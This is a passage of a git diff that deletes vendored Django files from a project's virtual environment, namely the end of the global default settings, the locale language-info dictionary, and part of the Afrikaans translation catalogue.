Whether to set the flag restricting cookie leaks on cross-site requests. -# This can be 'Lax', 'Strict', 'None', or False to disable the flag. -SESSION_COOKIE_SAMESITE = "Lax" -# Whether to save the session data on every request. -SESSION_SAVE_EVERY_REQUEST = False -# Whether a user's session cookie expires when the web browser is closed. -SESSION_EXPIRE_AT_BROWSER_CLOSE = False -# The module to store session data -SESSION_ENGINE = "django.contrib.sessions.backends.db" -# Directory to store session files if using the file session module. If None, -# the backend will use a sensible default. -SESSION_FILE_PATH = None -# class to serialize session data -SESSION_SERIALIZER = "django.contrib.sessions.serializers.JSONSerializer" - -######### -# CACHE # -######### - -# The cache backends to use. -CACHES = { - "default": { - "BACKEND": "django.core.cache.backends.locmem.LocMemCache", - } -} -CACHE_MIDDLEWARE_KEY_PREFIX = "" -CACHE_MIDDLEWARE_SECONDS = 600 -CACHE_MIDDLEWARE_ALIAS = "default" - -################## -# AUTHENTICATION # -################## - -AUTH_USER_MODEL = "auth.User" - -AUTHENTICATION_BACKENDS = ["django.contrib.auth.backends.ModelBackend"] - -LOGIN_URL = "/accounts/login/" - -LOGIN_REDIRECT_URL = "/accounts/profile/" - -LOGOUT_REDIRECT_URL = None - -# The number of seconds a password reset link is valid for (default: 3 days). -PASSWORD_RESET_TIMEOUT = 60 * 60 * 24 * 3 - -# the first hasher in this list is the preferred algorithm. any -# password using different algorithms will be converted automatically -# upon login -PASSWORD_HASHERS = [ - "django.contrib.auth.hashers.PBKDF2PasswordHasher", - "django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher", - "django.contrib.auth.hashers.Argon2PasswordHasher", - "django.contrib.auth.hashers.BCryptSHA256PasswordHasher", - "django.contrib.auth.hashers.ScryptPasswordHasher", -] - -AUTH_PASSWORD_VALIDATORS = [] - -########### -# SIGNING # -########### - -SIGNING_BACKEND = "django.core.signing.TimestampSigner" - -######## -# CSRF # -######## - -# Dotted path to callable to be used as view when a request is -# rejected by the CSRF middleware. -CSRF_FAILURE_VIEW = "django.views.csrf.csrf_failure" - -# Settings for CSRF cookie. -CSRF_COOKIE_NAME = "csrftoken" -CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52 -CSRF_COOKIE_DOMAIN = None -CSRF_COOKIE_PATH = "/" -CSRF_COOKIE_SECURE = False -CSRF_COOKIE_HTTPONLY = False -CSRF_COOKIE_SAMESITE = "Lax" -CSRF_HEADER_NAME = "HTTP_X_CSRFTOKEN" -CSRF_TRUSTED_ORIGINS = [] -CSRF_USE_SESSIONS = False - -############ -# MESSAGES # -############ - -# Class to use as messages backend -MESSAGE_STORAGE = "django.contrib.messages.storage.fallback.FallbackStorage" - -# Default values of MESSAGE_LEVEL and MESSAGE_TAGS are defined within -# django.contrib.messages to avoid imports in this settings file. - -########### -# LOGGING # -########### - -# The callable to use to configure logging -LOGGING_CONFIG = "logging.config.dictConfig" - -# Custom logging configuration. -LOGGING = {} - -# Default exception reporter class used in case none has been -# specifically assigned to the HttpRequest instance. -DEFAULT_EXCEPTION_REPORTER = "django.views.debug.ExceptionReporter" - -# Default exception reporter filter class used in case none has been -# specifically assigned to the HttpRequest instance. -DEFAULT_EXCEPTION_REPORTER_FILTER = "django.views.debug.SafeExceptionReporterFilter" - -########### -# TESTING # -########### - -# The name of the class to use to run the test suite -TEST_RUNNER = "django.test.runner.DiscoverRunner" - -# Apps that don't need to be serialized at test database creation time -# (only apps with migrations are to start with) -TEST_NON_SERIALIZED_APPS = [] - -############ -# FIXTURES # -############ - -# The list of directories to search for fixtures -FIXTURE_DIRS = [] - -############### -# STATICFILES # -############### - -# A list of locations of additional static files -STATICFILES_DIRS = [] - -# List of finder classes that know how to find static files in -# various locations. -STATICFILES_FINDERS = [ - "django.contrib.staticfiles.finders.FileSystemFinder", - "django.contrib.staticfiles.finders.AppDirectoriesFinder", - # 'django.contrib.staticfiles.finders.DefaultStorageFinder', -] - -############## -# MIGRATIONS # -############## - -# Migration module overrides for apps, by app label. -MIGRATION_MODULES = {} - -################# -# SYSTEM CHECKS # -################# - -# List of all issues generated by system checks that should be silenced. Light -# issues like warnings, infos or debugs will not generate a message. Silencing -# serious issues like errors and criticals does not result in hiding the -# message, but Django will not stop you from e.g. running server. -SILENCED_SYSTEM_CHECKS = [] - -####################### -# SECURITY MIDDLEWARE # -####################### -SECURE_CONTENT_TYPE_NOSNIFF = True -SECURE_CROSS_ORIGIN_OPENER_POLICY = "same-origin" -SECURE_HSTS_INCLUDE_SUBDOMAINS = False -SECURE_HSTS_PRELOAD = False -SECURE_HSTS_SECONDS = 0 -SECURE_REDIRECT_EXEMPT = [] -SECURE_REFERRER_POLICY = "same-origin" -SECURE_SSL_HOST = None -SECURE_SSL_REDIRECT = False diff --git a/backend/venv/Lib/site-packages/django/conf/locale/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/__init__.py deleted file mode 100644 index 6ac7bd3b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/__init__.py +++ /dev/null @@ -1,629 +0,0 @@ -""" -LANG_INFO is a dictionary structure to provide meta information about languages. - -About name_local: capitalize it as if your language name was appearing -inside a sentence in your language. -The 'fallback' key can be used to specify a special fallback logic which doesn't -follow the traditional 'fr-ca' -> 'fr' fallback logic. -""" - -LANG_INFO = { - "af": { - "bidi": False, - "code": "af", - "name": "Afrikaans", - "name_local": "Afrikaans", - }, - "ar": { - "bidi": True, - "code": "ar", - "name": "Arabic", - "name_local": "العربيّة", - }, - "ar-dz": { - "bidi": True, - "code": "ar-dz", - "name": "Algerian Arabic", - "name_local": "العربية الجزائرية", - }, - "ast": { - "bidi": False, - "code": "ast", - "name": "Asturian", - "name_local": "asturianu", - }, - "az": { - "bidi": True, - "code": "az", - "name": "Azerbaijani", - "name_local": "Azərbaycanca", - }, - "be": { - "bidi": False, - "code": "be", - "name": "Belarusian", - "name_local": "беларуская", - }, - "bg": { - "bidi": False, - "code": "bg", - "name": "Bulgarian", - "name_local": "български", - }, - "bn": { - "bidi": False, - "code": "bn", - "name": "Bengali", - "name_local": "বাংলা", - }, - "br": { - "bidi": False, - "code": "br", - "name": "Breton", - "name_local": "brezhoneg", - }, - "bs": { - "bidi": False, - "code": "bs", - "name": "Bosnian", - "name_local": "bosanski", - }, - "ca": { - "bidi": False, - "code": "ca", - "name": "Catalan", - "name_local": "català", - }, - "ckb": { - "bidi": True, - "code": "ckb", - "name": "Central Kurdish (Sorani)", - "name_local": "کوردی", - }, - "cs": { - "bidi": False, - "code": "cs", - "name": "Czech", - "name_local": "česky", - }, - "cy": { - "bidi": False, - "code": "cy", - "name": "Welsh", - "name_local": "Cymraeg", - }, - "da": { - "bidi": False, - "code": "da", - "name": "Danish", - "name_local": "dansk", - }, - "de": { - "bidi": False, - "code": "de", - "name": "German", - "name_local": "Deutsch", - }, - "dsb": { - "bidi": False, - "code": "dsb", - "name": "Lower Sorbian", - "name_local": "dolnoserbski", - }, - "el": { - "bidi": False, - "code": "el", - "name": "Greek", - "name_local": "Ελληνικά", - }, - "en": { - "bidi": False, - "code": "en", - "name": "English", - "name_local": "English", - }, - "en-au": { - "bidi": False, - "code": "en-au", - "name": "Australian English", - "name_local": "Australian English", - }, - "en-gb": { - "bidi": False, - "code": "en-gb", - "name": "British English", - "name_local": "British English", - }, - "eo": { - "bidi": False, - "code": "eo", - "name": "Esperanto", - "name_local": "Esperanto", - }, - "es": { - "bidi": False, - "code": "es", - "name": "Spanish", - "name_local": "español", - }, - "es-ar": { - "bidi": False, - "code": "es-ar", - "name": "Argentinian Spanish", - "name_local": "español de Argentina", - }, - "es-co": { - "bidi": False, - "code": "es-co", - "name": "Colombian Spanish", - "name_local": "español de Colombia", - }, - "es-mx": { - "bidi": False, - "code": "es-mx", - "name": "Mexican Spanish", - "name_local": "español de Mexico", - }, - "es-ni": { - "bidi": False, - "code": "es-ni", - "name": "Nicaraguan Spanish", - "name_local": "español de Nicaragua", - }, - "es-ve": { - "bidi": False, - "code": "es-ve", - "name": "Venezuelan Spanish", - "name_local": "español de Venezuela", - }, - "et": { - "bidi": False, - "code": "et", - "name": "Estonian", - "name_local": "eesti", - }, - "eu": { - "bidi": False, - "code": "eu", - "name": "Basque", - "name_local": "Basque", - }, - "fa": { - "bidi": True, - "code": "fa", - "name": "Persian", - "name_local": "فارسی", - }, - "fi": { - "bidi": False, - "code": "fi", - "name": "Finnish", - "name_local": "suomi", - }, - "fr": { - "bidi": False, - "code": "fr", - "name": "French", - "name_local": "français", - }, - "fy": { - "bidi": False, - "code": "fy", - "name": "Frisian", - "name_local": "frysk", - }, - "ga": { - "bidi": False, - "code": "ga", - "name": "Irish", - "name_local": "Gaeilge", - }, - "gd": { - "bidi": False, - "code": "gd", - "name": "Scottish Gaelic", - "name_local": "Gàidhlig", - }, - "gl": { - "bidi": False, - "code": "gl", - "name": "Galician", - "name_local": "galego", - }, - "he": { - "bidi": True, - "code": "he", - "name": "Hebrew", - "name_local": "עברית", - }, - "hi": { - "bidi": False, - "code": "hi", - "name": "Hindi", - "name_local": "हिंदी", - }, - "hr": { - "bidi": False, - "code": "hr", - "name": "Croatian", - "name_local": "Hrvatski", - }, - "hsb": { - "bidi": False, - "code": "hsb", - "name": "Upper Sorbian", - "name_local": "hornjoserbsce", - }, - "hu": { - "bidi": False, - "code": "hu", - "name": "Hungarian", - "name_local": "Magyar", - }, - "hy": { - "bidi": False, - "code": "hy", - "name": "Armenian", - "name_local": "հայերեն", - }, - "ia": { - "bidi": False, - "code": "ia", - "name": "Interlingua", - "name_local": "Interlingua", - }, - "io": { - "bidi": False, - "code": "io", - "name": "Ido", - "name_local": "ido", - }, - "id": { - "bidi": False, - "code": "id", - "name": "Indonesian", - "name_local": "Bahasa Indonesia", - }, - "ig": { - "bidi": False, - "code": "ig", - "name": "Igbo", - "name_local": "Asụsụ Ìgbò", - }, - "is": { - "bidi": False, - "code": "is", - "name": "Icelandic", - "name_local": "Íslenska", - }, - "it": { - "bidi": False, - "code": "it", - "name": "Italian", - "name_local": "italiano", - }, - "ja": { - "bidi": False, - "code": "ja", - "name": "Japanese", - "name_local": "日本語", - }, - "ka": { - "bidi": False, - "code": "ka", - "name": "Georgian", - "name_local": "ქართული", - }, - "kab": { - "bidi": False, - "code": "kab", - "name": "Kabyle", - "name_local": "taqbaylit", - }, - "kk": { - "bidi": False, - "code": "kk", - "name": "Kazakh", - "name_local": "Қазақ", - }, - "km": { - "bidi": False, - "code": "km", - "name": "Khmer", - "name_local": "Khmer", - }, - "kn": { - "bidi": False, - "code": "kn", - "name": "Kannada", - "name_local": "Kannada", - }, - "ko": { - "bidi": False, - "code": "ko", - "name": "Korean", - "name_local": "한국어", - }, - "ky": { - "bidi": False, - "code": "ky", - "name": "Kyrgyz", - "name_local": "Кыргызча", - }, - "lb": { - "bidi": False, - "code": "lb", - "name": "Luxembourgish", - "name_local": "Lëtzebuergesch", - }, - "lt": { - "bidi": False, - "code": "lt", - "name": "Lithuanian", - "name_local": "Lietuviškai", - }, - "lv": { - "bidi": False, - "code": "lv", - "name": "Latvian", - "name_local": "latviešu", - }, - "mk": { - "bidi": False, - "code": "mk", - "name": "Macedonian", - "name_local": "Македонски", - }, - "ml": { - "bidi": False, - "code": "ml", - "name": "Malayalam", - "name_local": "മലയാളം", - }, - "mn": { - "bidi": False, - "code": "mn", - "name": "Mongolian", - "name_local": "Mongolian", - }, - "mr": { - "bidi": False, - "code": "mr", - "name": "Marathi", - "name_local": "मराठी", - }, - "ms": { - "bidi": False, - "code": "ms", - "name": "Malay", - "name_local": "Bahasa Melayu", - }, - "my": { - "bidi": False, - "code": "my", - "name": "Burmese", - "name_local": "မြန်မာဘာသာ", - }, - "nb": { - "bidi": False, - "code": "nb", - "name": "Norwegian Bokmal", - "name_local": "norsk (bokmål)", - }, - "ne": { - "bidi": False, - "code": "ne", - "name": "Nepali", - "name_local": "नेपाली", - }, - "nl": { - "bidi": False, - "code": "nl", - "name": "Dutch", - "name_local": "Nederlands", - }, - "nn": { - "bidi": False, - "code": "nn", - "name": "Norwegian Nynorsk", - "name_local": "norsk (nynorsk)", - }, - "no": { - "bidi": False, - "code": "no", - "name": "Norwegian", - "name_local": "norsk", - }, - "os": { - "bidi": False, - "code": "os", - "name": "Ossetic", - "name_local": "Ирон", - }, - "pa": { - "bidi": False, - "code": "pa", - "name": "Punjabi", - "name_local": "Punjabi", - }, - "pl": { - "bidi": False, - "code": "pl", - "name": "Polish", - "name_local": "polski", - }, - "pt": { - "bidi": False, - "code": "pt", - "name": "Portuguese", - "name_local": "Português", - }, - "pt-br": { - "bidi": False, - "code": "pt-br", - "name": "Brazilian Portuguese", - "name_local": "Português Brasileiro", - }, - "ro": { - "bidi": False, - "code": "ro", - "name": "Romanian", - "name_local": "Română", - }, - "ru": { - "bidi": False, - "code": "ru", - "name": "Russian", - "name_local": "Русский", - }, - "sk": { - "bidi": False, - "code": "sk", - "name": "Slovak", - "name_local": "slovensky", - }, - "sl": { - "bidi": False, - "code": "sl", - "name": "Slovenian", - "name_local": "Slovenščina", - }, - "sq": { - "bidi": False, - "code": "sq", - "name": "Albanian", - "name_local": "shqip", - }, - "sr": { - "bidi": False, - "code": "sr", - "name": "Serbian", - "name_local": "српски", - }, - "sr-latn": { - "bidi": False, - "code": "sr-latn", - "name": "Serbian Latin", - "name_local": "srpski (latinica)", - }, - "sv": { - "bidi": False, - "code": "sv", - "name": "Swedish", - "name_local": "svenska", - }, - "sw": { - "bidi": False, - "code": "sw", - "name": "Swahili", - "name_local": "Kiswahili", - }, - "ta": { - "bidi": False, - "code": "ta", - "name": "Tamil", - "name_local": "தமிழ்", - }, - "te": { - "bidi": False, - "code": "te", - "name": "Telugu", - "name_local": "తెలుగు", - }, - "tg": { - "bidi": False, - "code": "tg", - "name": "Tajik", - "name_local": "тоҷикӣ", - }, - "th": { - "bidi": False, - "code": "th", - "name": "Thai", - "name_local": "ภาษาไทย", - }, - "tk": { - "bidi": False, - "code": "tk", - "name": "Turkmen", - "name_local": "Türkmençe", - }, - "tr": { - "bidi": False, - "code": "tr", - "name": "Turkish", - "name_local": "Türkçe", - }, - "tt": { - "bidi": False, - "code": "tt", - "name": "Tatar", - "name_local": "Татарча", - }, - "udm": { - "bidi": False, - "code": "udm", - "name": "Udmurt", - "name_local": "Удмурт", - }, - "ug": { - "bidi": True, - "code": "ug", - "name": "Uyghur", - "name_local": "ئۇيغۇرچە", - }, - "uk": { - "bidi": False, - "code": "uk", - "name": "Ukrainian", - "name_local": "Українська", - }, - "ur": { - "bidi": True, - "code": "ur", - "name": "Urdu", - "name_local": "اردو", - }, - "uz": { - "bidi": False, - "code": "uz", - "name": "Uzbek", - "name_local": "oʻzbek tili", - }, - "vi": { - "bidi": False, - "code": "vi", - "name": "Vietnamese", - "name_local": "Tiếng Việt", - }, - "zh-cn": { - "fallback": ["zh-hans"], - }, - "zh-hans": { - "bidi": False, - "code": "zh-hans", - "name": "Simplified Chinese", - "name_local": "简体中文", - }, - "zh-hant": { - "bidi": False, - "code": "zh-hant", - "name": "Traditional Chinese", - "name_local": "繁體中文", - }, - "zh-hk": { - "fallback": ["zh-hant"], - }, - "zh-mo": { - "fallback": ["zh-hant"], - }, - "zh-my": { - "fallback": ["zh-hans"], - }, - "zh-sg": { - "fallback": ["zh-hans"], - }, - "zh-tw": { - "fallback": ["zh-hant"], - }, -} diff --git a/backend/venv/Lib/site-packages/django/conf/locale/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f8546709..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.mo deleted file mode 100644 index dfd34bcc..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.po deleted file mode 100644 index 5f6cbafb..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/af/LC_MESSAGES/django.po +++ /dev/null @@ -1,1345 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# F Wolff , 2019-2020,2022-2025 -# Stephen Cox , 2011-2012 -# unklphil , 2014,2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: F Wolff , 2019-2020,2022-2025\n" -"Language-Team: Afrikaans (http://app.transifex.com/django/django/language/" -"af/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: af\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabies" - -msgid "Algerian Arabic" -msgstr "Algeriese Arabies" - -msgid "Asturian" -msgstr "Asturies" - -msgid "Azerbaijani" -msgstr "Aserbeidjans" - -msgid "Bulgarian" -msgstr "Bulgaars" - -msgid "Belarusian" -msgstr "Wit-Russies" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Bretons" - -msgid "Bosnian" -msgstr "Bosnies" - -msgid "Catalan" -msgstr "Katalaans" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Tsjeggies" - -msgid "Welsh" -msgstr "Wallies" - -msgid "Danish" -msgstr "Deens" - -msgid "German" -msgstr "Duits" - -msgid "Lower Sorbian" -msgstr "Neder-Sorbies" - -msgid "Greek" -msgstr "Grieks" - -msgid "English" -msgstr "Engels" - -msgid "Australian English" -msgstr "Australiese Engels" - -msgid "British English" -msgstr "Britse Engels" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spaans" - -msgid "Argentinian Spanish" -msgstr "Argentynse Spaans" - -msgid "Colombian Spanish" -msgstr "Kolombiaanse Spaans" - -msgid "Mexican Spanish" -msgstr "Meksikaanse Spaans" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguaanse Spaans" - -msgid "Venezuelan Spanish" -msgstr "Venezolaanse Spaans" - -msgid "Estonian" -msgstr "Estnies" - -msgid "Basque" -msgstr "Baskies" - -msgid "Persian" -msgstr "Persies" - -msgid "Finnish" -msgstr "Fins" - -msgid "French" -msgstr "Fraans" - -msgid "Frisian" -msgstr "Fries" - -msgid "Irish" -msgstr "Iers" - -msgid "Scottish Gaelic" -msgstr "Skots-Gaelies" - -msgid "Galician" -msgstr "Galicies" - -msgid "Hebrew" -msgstr "Hebreeus" - -msgid "Hindi" -msgstr "Hindoe" - -msgid "Croatian" -msgstr "Kroaties" - -msgid "Upper Sorbian" -msgstr "Opper-Sorbies" - -msgid "Hungarian" -msgstr "Hongaars" - -msgid "Armenian" -msgstr "Armeens" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesies" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Yslands" - -msgid "Italian" -msgstr "Italiaans" - -msgid "Japanese" -msgstr "Japannees" - -msgid "Georgian" -msgstr "Georgian" - -msgid "Kabyle" -msgstr "Kabilies" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreaans" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxemburgs" - -msgid "Lithuanian" -msgstr "Litaus" - -msgid "Latvian" -msgstr "Lets" - -msgid "Macedonian" -msgstr "Macedonies" - -msgid "Malayalam" -msgstr "Malabaars" - -msgid "Mongolian" -msgstr "Mongools" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Maleisies" - -msgid "Burmese" -msgstr "Birmaans" - -msgid "Norwegian Bokmål" -msgstr "Noorweegse Bokmål" - -msgid "Nepali" -msgstr "Nepalees" - -msgid "Dutch" -msgstr "Nederlands" - -msgid "Norwegian Nynorsk" -msgstr "Noorweegse Nynorsk" - -msgid "Ossetic" -msgstr "Osseties" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Pools" - -msgid "Portuguese" -msgstr "Portugees" - -msgid "Brazilian Portuguese" -msgstr "Brasiliaanse Portugees" - -msgid "Romanian" -msgstr "Roemeens" - -msgid "Russian" -msgstr "Russiese" - -msgid "Slovak" -msgstr "Slowaaks" - -msgid "Slovenian" -msgstr "Sloweens" - -msgid "Albanian" -msgstr "Albanees" - -msgid "Serbian" -msgstr "Serwies" - -msgid "Serbian Latin" -msgstr "Serwies Latyns" - -msgid "Swedish" -msgstr "Sweeds" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Teloegoe" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turks" - -msgid "Tatar" -msgstr "Tataars" - -msgid "Udmurt" -msgstr "Oedmoerts" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "Oekraïens" - -msgid "Urdu" -msgstr "Oerdoe" - -msgid "Uzbek" -msgstr "Oesbekies " - -msgid "Vietnamese" -msgstr "Viëtnamees" - -msgid "Simplified Chinese" -msgstr "Vereenvoudigde Sjinees" - -msgid "Traditional Chinese" -msgstr "Tradisionele Sjinees" - -msgid "Messages" -msgstr "Boodskappe" - -msgid "Site Maps" -msgstr "Werfkaarte" - -msgid "Static Files" -msgstr "Statiese lêers" - -msgid "Syndication" -msgstr "Sindikasie" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Daai bladsynommer is nie ’n heelgetal nie" - -msgid "That page number is less than 1" -msgstr "Daai bladsynommer is minder as 1" - -msgid "That page contains no results" -msgstr "Daai bladsy bevat geen resultate nie" - -msgid "Enter a valid value." -msgstr "Gee ’n geldige waarde." - -msgid "Enter a valid domain name." -msgstr "Gee ’n geldige domeinnaam." - -msgid "Enter a valid URL." -msgstr "Gee ’n geldige URL." - -msgid "Enter a valid integer." -msgstr "Gee ’n geldige heelgetal." - -msgid "Enter a valid email address." -msgstr "Gee ’n geldige e-posadres." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Gee ’n geldige “slak” wat bestaan ​​uit letters, syfers, onderstreep of " -"koppelteken." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Gee ’n geldige “slak” wat bestaan ​​uit Unicode-letters, syfers, onderstreep " -"of koppelteken." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Gee ’n geldige %(protocol)s-adres" - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 of IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Gee slegs syfers wat deur kommas geskei is." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Maak seker dat hierdie waarde %(limit_value)s is (dit is %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Maak seker dat hierdie waarde kleiner of gelyk is aan %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Maak seker dat hierdie waarde groter of gelyk is aan %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Maak seker dat hierdie waarde ’n veelvoud is van stapgrootte %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Maak seker dié waarde is 'n veelvoud van stapgrootte %(limit_value)s, " -"beginnende by %(offset)s, bv. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, ens. " - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Maak seker hierdie waarde het ten minste %(limit_value)d karakter (dit het " -"%(show_value)d)." -msgstr[1] "" -"Maak seker hierdie waarde het ten minste %(limit_value)d karakters (dit het " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Maak seker hierdie waarde het op die meeste %(limit_value)d karakter (dit " -"het %(show_value)d)." -msgstr[1] "" -"Maak seker hierdie waarde het op die meeste %(limit_value)d karakters (dit " -"het %(show_value)d)." - -msgid "Enter a number." -msgstr "Gee ’n getal." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Maak seker dat daar nie meer as %(max)s syfer in totaal is nie." -msgstr[1] "Maak seker dat daar nie meer as %(max)s syfers in totaal is nie." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Maak seker dat daar nie meer as %(max)s desimale plek is nie." -msgstr[1] "Maak seker dat daar nie meer as %(max)s desimale plekke is nie." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Maak seker dat daar nie meer as %(max)s syfer voor die desimale punt is nie." -msgstr[1] "" -"Maak seker dat daar nie meer as %(max)s syfers voor die desimale punt is nie." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Lêeruitbreiding “%(extension)s” word nie toegelaat nie. Toegelate " -"uitbreidings is: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Nul-karakters word nie toegelaat nie." - -msgid "and" -msgstr "en" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s met hierdie %(field_labels)s bestaan alreeds." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Beperking “%(name)s” word verbreek." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Waarde %(value)r is nie ’n geldige keuse nie." - -msgid "This field cannot be null." -msgstr "Hierdie veld kan nie nil wees nie." - -msgid "This field cannot be blank." -msgstr "Hierdie veld kan nie leeg wees nie." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s met hierdie %(field_label)s bestaan ​​alreeds." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s moet uniek wees per %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Veld van tipe: %(field_type)s " - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” waarde moet óf True óf False wees." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Die waarde “%(value)s” moet True, False of None wees." - -msgid "Boolean (Either True or False)" -msgstr "Boole (True of False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (hoogstens %(max_length)s karakters)" - -msgid "String (unlimited)" -msgstr "String (onbeperk)" - -msgid "Comma-separated integers" -msgstr "Heelgetalle geskei met kommas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Die waarde “%(value)s” het ’n ongeldige datumformaat. Dit moet in die " -"formaat JJJJ-MM-DD wees." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Die waarde “%(value)s” het die korrekte formaat (JJJJ-MM-DD), maar dit is ’n " -"ongeldige datum." - -msgid "Date (without time)" -msgstr "Datum (sonder die tyd)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Die waarde “%(value)s” se formaat is ongeldig. Dit moet in die formaat JJJJ-" -"MM-DD HH:MM[:ss[.uuuuuu]][TZ] wees." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Die waarde “%(value)s” het die korrekte formaat (JJJJ-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]) maar dit is ’n ongeldige datum/tyd." - -msgid "Date (with time)" -msgstr "Datum (met die tyd)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s”-waarde moet ’n desimale getal wees." - -msgid "Decimal number" -msgstr "Desimale getal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Die waarde “%(value)s” het ’n ongeldige formaat. Dit moet in die formaat " -"[DD] 